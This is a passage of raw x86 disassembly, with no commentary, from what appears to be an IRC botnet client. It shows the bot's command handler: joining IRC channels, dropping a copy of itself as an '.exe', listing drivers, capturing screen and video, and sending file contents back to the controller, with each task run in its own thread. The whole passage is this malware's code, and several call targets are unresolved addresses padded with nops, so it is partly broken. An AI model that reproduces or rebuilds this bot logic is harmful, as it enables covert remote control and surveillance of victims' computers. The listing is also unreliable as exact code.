push eax call sub_4172AE add esp, 0Ch loc_4127C8: ; CODE XREF: sub_40EE72+392Fj cmp [ebp+var_8], ebx jnz loc_414E0F push ebx push esi jmp loc_414617 ; --------------------------------------------------------------------------- loc_4127D8: ; CODE XREF: sub_40EE72+266Fj ; sub_40EE72+2686j ... push 7Fh lea eax, [ebp+var_7E8] pop esi push esi push edi push eax call sub_418C10 push esi lea eax, [ebp+var_768] push [ebp+arg_18] push eax call sub_418C10 push esi lea eax, [ebp+var_6E8] push [ebp+arg_0] push eax call sub_418C10 push esi lea eax, [ebp+var_668] push [ebp+var_8C] push eax call sub_418C10 push 20h lea eax, [ebp+var_5E8] push [ebp+arg_8] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_568], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_2DC] push [ebp+arg_18] mov [ebp+var_7F0], esi push edi push offset unk_436C64 push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 0Ah push eax call sub_416D5A add esp, 20h mov [ebp+var_7EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F0] push ebx push eax push offset sub_401000 push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_7EC] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4128C0 loc_4128AA: ; CODE XREF: sub_40EE72+3A4Cj cmp [ebp+var_560], ebx jnz loc_411D22 push 32h call near ptr 26004EDh nop jmp short loc_4128AA ; --------------------------------------------------------------------------- loc_4128C0: ; CODE XREF: sub_40EE72+3A36j nop call near ptr 264030Ch push eax push offset unk_436C1C loc_4128CC: ; CODE XREF: sub_40EE72+2E92j ; sub_40EE72+2FEEj ... lea eax, [ebp+var_2DC] push eax call sub_4172AE jmp loc_411D1F ; --------------------------------------------------------------------------- loc_4128DD: ; CODE XREF: sub_40EE72+2641j ; sub_40EE72+2658j push 7Fh lea eax, [ebp+var_458] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push 3Fh mov [ebp+var_308], eax push [ebp+arg_0] lea eax, [ebp+var_3D8] push eax call sub_418C10 mov esi, [ebp+esi+var_84] add esp, 1Ch cmp esi, ebx jz short loc_41292B push 3Fh lea eax, [ebp+var_398] push esi push eax call sub_418C10 add esp, 0Ch loc_41292B: ; CODE XREF: sub_40EE72+3AA5j lea eax, [ebp+var_3D8] mov [ebp+var_304], 1 push eax lea eax, [ebp+var_458] push [ebp+var_308] push eax lea eax, [ebp+var_2DC] push offset unk_436BDC push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 18h push eax call sub_416D5A add esp, 20h mov [ebp+var_300], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_45C] push ebx push eax push offset sub_40EB92 push ebx push ebx call near ptr 2670B28h nop mov ecx, [ebp+var_300] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4129B7 loc_4129A1: ; CODE XREF: sub_40EE72+3B43j cmp [ebp+var_2FC], ebx jnz loc_413A62 push 32h nop call near ptr 26004EDh jmp short loc_4129A1 ; --------------------------------------------------------------------------- loc_4129B7: ; CODE XREF: sub_40EE72+3B2Dj nop call near ptr 264030Ch push eax push offset unk_436B94 jmp loc_411888 ; --------------------------------------------------------------------------- loc_4129C8: ; CODE XREF: sub_40EE72+2601j ; sub_40EE72+2618j push [ebp+arg_18] call sub_41781F cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_412ABF mov esi, 80h push edi lea eax, [ebp+var_6F8] push esi push eax call sub_41782A add esp, 0Ch xor eax, eax cmp [ebp+var_9B6], bl push [ebp+var_8C] setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_564], eax lea eax, [ebp+var_2DC] push edi push offset unk_436B58 push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 0Dh push eax call sub_416D5A add esp, 20h mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_40144A push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_412AAE loc_412A98: ; CODE XREF: sub_40EE72+3C3Aj cmp [ebp+var_560], ebx jnz loc_41460A push 32h nop call near ptr 26004EDh jmp short loc_412A98 ; --------------------------------------------------------------------------- loc_412AAE: ; CODE XREF: sub_40EE72+3C24j nop call near ptr 264030Ch push eax push offset unk_436B10 jmp loc_413BFB ; --------------------------------------------------------------------------- loc_412ABF: ; CODE XREF: sub_40EE72+3B67j push offset unk_436AC8 jmp loc_4145FC ; --------------------------------------------------------------------------- loc_412AC9: ; CODE XREF: sub_40EE72+25D3j ; sub_40EE72+25EAj push [ebp+arg_18] push edi nop call near ptr 27C0B9Ch test eax, eax jz short loc_412AF9 push [ebp+arg_18] lea eax, [ebp+var_2DC] push edi push offset unk_436A94 push 200h push eax call sub_41782A add esp, 14h jmp loc_41460A ; --------------------------------------------------------------------------- loc_412AF9: ; CODE XREF: sub_40EE72+3C63j push offset dword_436A78 call sub_40AA35 pop ecx push eax lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A jmp loc_413C07 ; --------------------------------------------------------------------------- loc_412B1B: ; CODE XREF: sub_40EE72+25A5j ; sub_40EE72+25BCj push edi lea eax, [ebp+var_774] push 104h push eax call sub_41782A add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_412B55 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_412B55 push eax lea eax, [ebp+var_670] push eax call sub_4172AE pop ecx pop ecx loc_412B55: ; CODE XREF: sub_40EE72+3CC1j ; sub_40EE72+3CD2j push [ebp+var_8C] lea eax, [ebp+var_7F4] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_7F8], eax mov eax, [ebp+var_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_670] push eax lea eax, [ebp+var_774] push eax push offset unk_436A38 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Ch push eax call sub_416D5A add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F8] push ebx push eax push offset sub_408DCA push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_412C0B loc_412BF5: ; CODE XREF: sub_40EE72+3D97j cmp [ebp+var_560], ebx jnz loc_414E0F push 32h call near ptr 26004EDh nop jmp short loc_412BF5 ; --------------------------------------------------------------------------- loc_412C0B: ; CODE XREF: sub_40EE72+3D81j nop call near ptr 264030Ch push eax push offset unk_4369EC jmp loc_414E00 ; --------------------------------------------------------------------------- loc_412C1C: ; CODE XREF: sub_40EE72+2577j ; sub_40EE72+258Ej push 44h lea eax, [ebp+var_4A0] pop esi push esi push ebx push eax call sub_417330 push 1 mov [ebp+var_4A0], esi pop esi mov word ptr [ebp+var_470], bx push edi mov [ebp+var_474], esi call sub_41781F add esp, 10h cmp eax, esi jnz short loc_412C59 mov word ptr [ebp+var_470], 5 loc_412C59: ; CODE XREF: sub_40EE72+3DDCj cmp [ebp+var_C], ebx jz loc_413A62 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_413A62 lea eax, [ebp+var_2EC] push eax lea eax, [ebp+var_4A0] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 2750604h test eax, eax jnz short loc_412CA4 push offset unk_4369B8 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_412CA4: ; CODE XREF: sub_40EE72+3E26j push edi push offset dword_436990 jmp loc_411888 ; --------------------------------------------------------------------------- loc_412CAF: ; CODE XREF: sub_40EE72+2549j ; sub_40EE72+2560j push [ebp+arg_18] push offset aBotss ; "botss" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E29 lea eax, [ebp+var_3FC] push eax push 104h nop call near ptr 2761161h push 0FFh lea eax, [ebp+var_780] push edi push eax call sub_418C10 lea eax, [ebp+var_2F8] push eax call sub_4159F2 add esp, 10h push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_680] push offset aSS_exe ; "%s%s.exe" push eax call sub_4172AE mov eax, [ebp+esi+var_88] add esp, 10h cmp eax, ebx mov [ebp+var_57C], 1 mov [ebp+var_578], ebx jz short loc_412D44 push 10h push ebx push eax call sub_418A3B add esp, 0Ch mov [ebp+var_570], eax jmp short loc_412D4A ; --------------------------------------------------------------------------- loc_412D44: ; CODE XREF: sub_40EE72+3EBCj mov [ebp+var_570], ebx loc_412D4A: ; CODE XREF: sub_40EE72+3ED0j mov esi, [ebp+esi+var_84] cmp esi, ebx jz short loc_412D64 push esi call sub_41781F pop ecx mov [ebp+var_574], eax jmp short loc_412D6A ; --------------------------------------------------------------------------- loc_412D64: ; CODE XREF: sub_40EE72+3EE1j mov [ebp+var_574], ebx loc_412D6A: ; CODE XREF: sub_40EE72+3EF0j movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax push edi lea eax, [ebp+var_2DC] push offset unk_436948 push eax call sub_4172AE push esi lea eax, [ebp+var_2DC] push 17h push eax call sub_416D5A add esp, 18h mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_40CAF1 push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_412E18 loc_412E02: ; CODE XREF: sub_40EE72+3FA4j cmp [ebp+var_560], ebx jnz loc_413A62 push 32h call near ptr 26004EDh nop jmp short loc_412E02 ; --------------------------------------------------------------------------- loc_412E18: ; CODE XREF: sub_40EE72+3F8Ej nop call near ptr 264030Ch push eax push offset unk_4368FC jmp loc_411888 ; --------------------------------------------------------------------------- loc_412E29: ; CODE XREF: sub_40EE72+3E4Ej push offset unk_4368A8 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_412E33: ; CODE XREF: sub_40EE72+251Bj ; sub_40EE72+2532j push [ebp+var_90] push offset dword_4386A8 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 cmp [ebp+var_C], ebx jz loc_40F239 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx pop ecx push eax lea eax, [ebp+var_2DC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_436898 push eax call sub_4172AE lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 push edi call sub_41781F add esp, 28h test eax, eax jle short loc_412EBC push edi call sub_41781F imul eax, 3E8h pop ecx push eax call near ptr 26004EDh nop loc_412EBC: ; CODE XREF: sub_40EE72+4034j push offset dword_436874 call sub_40BF6D mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_40F23C ; --------------------------------------------------------------------------- loc_412ED0: ; CODE XREF: sub_40EE72+24EDj ; sub_40EE72+2504j push [ebp+var_90] push offset dword_4386A8 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 cmp [ebp+var_C], ebx jz loc_414F45 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_4176D0 add esp, 10h test eax, eax push esi jz short loc_412F8F push [ebp+var_8C] lea eax, [ebp+var_2DC] push [ebp+var_90] push [ebp+var_94] push offset dword_436898 push eax call sub_4172AE lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 loc_412F4E: ; DATA XREF: ___:off_42DE40o add esp, 24h lea eax, [ebp+var_2DC] push esi push offset dword_436844 push eax call sub_4172AE lea eax, [ebp+var_2DC] push eax call sub_40BF6D push edi call sub_41781F add esp, 14h test eax, eax jle loc_414F45 push edi call sub_41781F add eax, [ebp+arg_24] pop ecx jmp loc_40F23C ; --------------------------------------------------------------------------- loc_412F8F: ; CODE XREF: sub_40EE72+40A3j push offset dword_436800 jmp loc_411888 ; --------------------------------------------------------------------------- loc_412F99: ; CODE XREF: sub_40EE72+24BFj ; sub_40EE72+24D6j push [ebp+arg_18] lea eax, [ebp+var_2DC] push offset dword_4367F8 push eax call sub_4172AE push edi call sub_41781F add esp, 10h loc_412FB6: ; CODE XREF: sub_40EE72+41AEj test eax, eax jle loc_414F45 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F45 loc_412FD0: ; CODE XREF: sub_40EE72+4CBBj lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D633 loc_412FF4: ; CODE XREF: sub_40EE72+4469j ; sub_40EE72+5D42j add esp, 0Ch jmp loc_414F45 ; --------------------------------------------------------------------------- loc_412FFC: ; CODE XREF: sub_40EE72+2491j ; sub_40EE72+24A8j push [ebp+esi+var_88] lea eax, [ebp+var_2DC] push [ebp+arg_18] push offset dword_4367EC push eax call sub_4172AE push edi call sub_41781F add esp, 14h jmp short loc_412FB6 ; --------------------------------------------------------------------------- loc_413022: ; CODE XREF: sub_40EE72+2463j ; sub_40EE72+247Aj push [ebp+arg_18] lea eax, [ebp+var_2DC] push offset dword_4367E4 push eax call sub_4172AE push edi call sub_41781F add esp, 10h test eax, eax jle loc_414F45 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F45 lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D633 add esp, 0Ch push [ebp+arg_18] push edi push offset dword_4367B8 jmp loc_4132D6 ; --------------------------------------------------------------------------- loc_41308E: ; CODE XREF: sub_40EE72+2435j ; sub_40EE72+244Cj cmp [ebp+var_C], ebx jz loc_414F45 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4130BF push esi lea eax, [ebp+var_2DC] push offset dword_4367B0 push eax call sub_4172AE add esp, 0Ch loc_4130BF: ; CODE XREF: sub_40EE72+4236j push edi call sub_41781F test eax, eax pop ecx jle loc_414F45 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F45 lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D633 add esp, 0Ch push esi push edi push offset dword_436784 jmp loc_4132D6 ; --------------------------------------------------------------------------- loc_413113: ; CODE XREF: sub_40EE72+2407j ; sub_40EE72+241Ej cmp [ebp+var_C], ebx jz loc_414F45 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F45 push edi call sub_41781F test eax, eax pop ecx jle loc_414F45 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F45 push esi push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D633 add esp, 0Ch push esi push edi push offset dword_436758 jmp loc_4132D6 ; --------------------------------------------------------------------------- loc_413181: ; CODE XREF: sub_40EE72+23D9j ; sub_40EE72+23F0j cmp [ebp+var_C], ebx jz loc_414F45 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F45 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push esi push offset dword_436720 jmp loc_414F3E ; --------------------------------------------------------------------------- loc_4131BB: ; CODE XREF: sub_40EE72+23ABj ; sub_40EE72+23C2j push [ebp+var_90] push offset dword_4386A8 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 push [ebp+arg_18] push offset dword_436714 push [ebp+arg_4] call sub_40D633 push edi call sub_41781F imul eax, 3E8h add esp, 10h push eax nop call near ptr 26004EDh push [ebp+esi+var_88] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_4366F0 call sub_40BF6D add esp, 14h jmp loc_414F45 ; --------------------------------------------------------------------------- loc_413224: ; CODE XREF: sub_40EE72+237Dj ; sub_40EE72+2394j cmp [ebp+var_C], ebx jz loc_414F45 push edi call sub_417AB0 push [ebp+arg_8] mov esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 10h cmp esi, ebx jz loc_414F45 push esi lea eax, [ebp+var_2DC] push offset dword_436F0C push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push ebx push eax push edi push [ebp+arg_4] call sub_40D679 add esp, 20h push esi push edi push offset dword_4366C4 jmp short loc_4132D6 ; --------------------------------------------------------------------------- loc_41328A: ; CODE XREF: sub_40EE72+234Fj ; sub_40EE72+2366j cmp [ebp+var_C], ebx jz loc_414F45 push edi call sub_417AB0 push [ebp+arg_8] mov esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 10h cmp esi, ebx jz loc_414F45 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_40D679 add esp, 14h push esi push edi push offset dword_436698 loc_4132D6: ; CODE XREF: sub_40EE72+4217j ; sub_40EE72+429Cj ... call sub_40BFE1 jmp loc_412FF4 ; --------------------------------------------------------------------------- loc_4132E0: ; CODE XREF: sub_40EE72+2321j ; sub_40EE72+2338j cmp [ebp+var_C], ebx jz loc_40F239 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_40F239 push eax push edi call sub_40BE75 pop ecx pop ecx push edi push offset dword_43666C jmp loc_413BFB ; --------------------------------------------------------------------------- loc_413312: ; CODE XREF: sub_40EE72+22E1j ; sub_40EE72+22F8j push edi push [ebp+arg_1C] call sub_417880 pop ecx test eax, eax pop ecx jz loc_414F45 mov esi, [ebp+esi+var_8C] cmp esi, ebx jz loc_4133B6 push esi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_41339E push esi lea eax, [ebp+var_2DC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_436898 push eax call sub_4172AE lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 add esp, 24h lea eax, [ebp+var_2DC] push esi push edi push offset dword_436638 push eax call sub_4172AE add esp, 10h inc [ebp+arg_24] jmp loc_414AC1 ; --------------------------------------------------------------------------- loc_41339E: ; CODE XREF: sub_40EE72+44D1j lea eax, [ebp+var_2DC] push offset dword_4365F8 push eax call sub_4172AE pop ecx pop ecx jmp loc_414AC1 ; --------------------------------------------------------------------------- loc_4133B6: ; CODE XREF: sub_40EE72+44BCj push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40BB8C add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h lea eax, [ebp+var_2DC] push edi push offset dword_4365D0 push 200h push eax call sub_41782A add esp, 10h jmp loc_414AC1 ; --------------------------------------------------------------------------- loc_413400: ; CODE XREF: sub_40EE72+22B3j ; sub_40EE72+22CAj push offset aScreen ; "screen" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_413463 cmp [ebp+esi+var_8C], ebx jz short loc_413450 push [ebp+esi+var_8C] call sub_4085B3 cmp eax, 1 pop ecx jnz short loc_413449 push [ebp+esi+var_8C] lea eax, [ebp+var_2DC] push offset dword_43658C push eax call sub_4172AE add esp, 0Ch jmp short loc_413463 ; --------------------------------------------------------------------------- loc_413449: ; CODE XREF: sub_40EE72+45B8j push offset dword_436550 jmp short loc_413455 ; --------------------------------------------------------------------------- loc_413450: ; CODE XREF: sub_40EE72+45A6j push offset dword_436508 loc_413455: ; CODE XREF: sub_40EE72+45DCj lea eax, [ebp+var_2DC] push eax call sub_4172AE pop ecx pop ecx loc_413463: ; CODE XREF: sub_40EE72+459Dj ; sub_40EE72+45D5j push offset aDrivers ; "drivers" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4134FA mov [ebp+arg_0], ebx loc_41347B: ; CODE XREF: sub_40EE72+4673j lea eax, [ebp+var_75C] push 1FFh push eax lea eax, [ebp+var_3F8] push 0FFh push eax push [ebp+arg_0] call dword_43F698 test eax, eax jz short loc_4134DE lea eax, [ebp+var_75C] push eax lea eax, [ebp+var_3F8] push eax lea eax, [ebp+var_15B0] push [ebp+arg_0] push offset dword_4364CC push eax call sub_4172AE push ebx lea eax, [ebp+var_15B0] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 28h loc_4134DE: ; CODE XREF: sub_40EE72+462Cj inc [ebp+arg_0] cmp [ebp+arg_0], 0Ah jl short loc_41347B lea eax, [ebp+var_2DC] push offset dword_436498 push eax call sub_4172AE pop ecx pop ecx loc_4134FA: ; CODE XREF: sub_40EE72+4600j push offset aFrame ; "frame" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4135A0 cmp [ebp+esi+var_8C], ebx jz short loc_41358D cmp [ebp+esi+var_88], ebx jz short loc_41358D cmp [ebp+esi+var_84], ebx jz short loc_41358D mov eax, [ebp+esi+var_80] cmp eax, ebx jz short loc_41358D push eax call sub_41781F pop ecx push eax push [ebp+esi+var_84] call sub_41781F pop ecx push eax push [ebp+esi+var_88] call sub_41781F pop ecx push eax push [ebp+esi+var_8C] call sub_4087EE add esp, 10h test eax, eax jnz short loc_413586 push [ebp+esi+var_8C] lea eax, [ebp+var_2DC] push offset dword_436454 push eax call sub_4172AE add esp, 0Ch jmp short loc_4135A0 ; --------------------------------------------------------------------------- loc_413586: ; CODE XREF: sub_40EE72+46F5j push offset dword_436410 jmp short loc_413592 ; --------------------------------------------------------------------------- loc_41358D: ; CODE XREF: sub_40EE72+46A4j ; sub_40EE72+46ADj ... push offset dword_4363C8 loc_413592: ; CODE XREF: sub_40EE72+4719j lea eax, [ebp+var_2DC] push eax call sub_4172AE pop ecx pop ecx loc_4135A0: ; CODE XREF: sub_40EE72+4697j ; sub_40EE72+4712j push offset aVideo ; "video" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_413A62 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_413639 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_413639 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz short loc_413639 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_413639 mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_413639 push esi call sub_41781F pop ecx push eax push edi call sub_41781F pop ecx push eax push [ebp+arg_10] call sub_41781F pop ecx push eax push [ebp+arg_0] call sub_41781F pop ecx push eax push [ebp+arg_18] call sub_4089E7 add esp, 14h test eax, eax jnz short loc_41362F push [ebp+arg_18] push offset dword_43638C jmp loc_411888 ; --------------------------------------------------------------------------- loc_41362F: ; CODE XREF: sub_40EE72+47AEj push offset dword_43633C jmp loc_413A54 ; --------------------------------------------------------------------------- loc_413639: ; CODE XREF: sub_40EE72+474Fj ; sub_40EE72+475Dj ... push offset dword_4362F0 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_413643: ; CODE XREF: sub_40EE72+1CF0j ; sub_40EE72+1D07j push offset aR ; "r" push edi call sub_4179A8 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4136BE mov ebx, 200h push esi lea eax, [ebp+var_2DC] push ebx push eax call sub_41900C add esp, 0Ch loc_41366C: ; CODE XREF: sub_40EE72+4829j test eax, eax jz short loc_41369D push 1 lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push esi lea eax, [ebp+var_2DC] push ebx push eax call sub_41900C add esp, 20h jmp short loc_41366C ; --------------------------------------------------------------------------- loc_41369D: ; CODE XREF: sub_40EE72+47FCj push esi call sub_417900 pop ecx lea eax, [ebp+var_2DC] push edi push offset dword_4362BC push eax call sub_4172AE add esp, 0Ch jmp loc_4110FD ; --------------------------------------------------------------------------- loc_4136BE: ; CODE XREF: sub_40EE72+47E2j push edi push offset dword_43628C jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4136C9: ; CODE XREF: sub_40EE72+1CC2j ; sub_40EE72+1CD9j cmp [ebp+var_C], ebx jz loc_414F45 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F45 push offset asc_42A660 ; "\n" push esi call sub_4179D0 push esi call sub_40B358 add esp, 0Ch test eax, eax jnz short loc_413709 push offset dword_436250 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_413709: ; CODE XREF: sub_40EE72+488Bj push esi push offset dword_436228 jmp loc_414AB2 ; --------------------------------------------------------------------------- loc_413714: ; CODE XREF: sub_40EE72+1C94j ; sub_40EE72+1CABj cmp [ebp+var_C], ebx jz loc_414F45 push edi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_414F45 push eax call sub_40AAFA test eax, eax pop ecx jnz short loc_413745 push offset unk_4361FC jmp loc_413A54 ; --------------------------------------------------------------------------- loc_413745: ; CODE XREF: sub_40EE72+48C7j push offset dword_4361D0 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_41374F: ; CODE XREF: sub_40EE72+1C66j ; sub_40EE72+1C7Dj push 7Fh lea eax, [ebp+var_6EC] push edi push eax call sub_418C10 mov esi, [ebp+esi+var_8C] add esp, 0Ch cmp esi, ebx jz short loc_41377E push 7Fh lea eax, [ebp+var_66C] push esi push eax call sub_418C10 add esp, 0Ch loc_41377E: ; CODE XREF: sub_40EE72+48F8j push 7Fh lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_6F0], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax mov eax, [ebp+var_4] mov [ebp+var_564], eax push edi lea eax, [ebp+var_2DC] push offset dword_4361A8 push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 15h push eax call sub_416D5A add esp, 18h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6F0] push ebx push eax push offset sub_40BC4B push ebx push ebx call near ptr 2670B28h nop mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_41381F loc_413809: ; CODE XREF: sub_40EE72+49ABj cmp [ebp+var_560], ebx jnz loc_414AC1 push 32h nop call near ptr 26004EDh jmp short loc_413809 ; --------------------------------------------------------------------------- loc_41381F: ; CODE XREF: sub_40EE72+4995j nop call near ptr 264030Ch push eax push offset unk_43615C jmp loc_414AB2 ; --------------------------------------------------------------------------- loc_413830: ; CODE XREF: sub_40EE72+1C38j ; sub_40EE72+1C4Fj push ebx push [ebp+var_8C] push [ebp+arg_4] push edi call sub_406387 add esp, 10h push edi push offset dword_436138 jmp loc_414F3E ; --------------------------------------------------------------------------- loc_41384E: ; CODE XREF: sub_40EE72+1C0Aj ; sub_40EE72+1C21j push 14h lea eax, [ebp+var_708] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_6F4] push edi push offset aS_1 ; "%s" push eax call sub_4172AE mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_710], eax lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_5F0] push 80h push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+var_6F4] push eax lea eax, [ebp+var_2DC] push offset dword_436104 push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 12h push eax call sub_416D5A add esp, 1Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C512 push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_413927 loc_413911: ; CODE XREF: sub_40EE72+4AB3j cmp [ebp+var_560], ebx jnz loc_414E0F push 32h nop call near ptr 26004EDh jmp short loc_413911 ; --------------------------------------------------------------------------- loc_413927: ; CODE XREF: sub_40EE72+4A9Dj nop call near ptr 264030Ch push eax push offset dword_4385B0 jmp loc_414E00 ; --------------------------------------------------------------------------- loc_413938: ; CODE XREF: sub_40EE72+1BDCj ; sub_40EE72+1BF3j push edi nop call near ptr 27B0CE8h test eax, eax jz short loc_413962 push edi push offset dword_4360D8 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A add esp, 10h jmp loc_4110DC ; --------------------------------------------------------------------------- loc_413962: ; CODE XREF: sub_40EE72+4ACFj push offset dword_436A78 call sub_40AA35 pop ecx push eax jmp loc_414562 ; --------------------------------------------------------------------------- loc_413973: ; CODE XREF: sub_40EE72+1BAEj ; sub_40EE72+1BC5j push edi call sub_41781F push eax call sub_415417 pop ecx 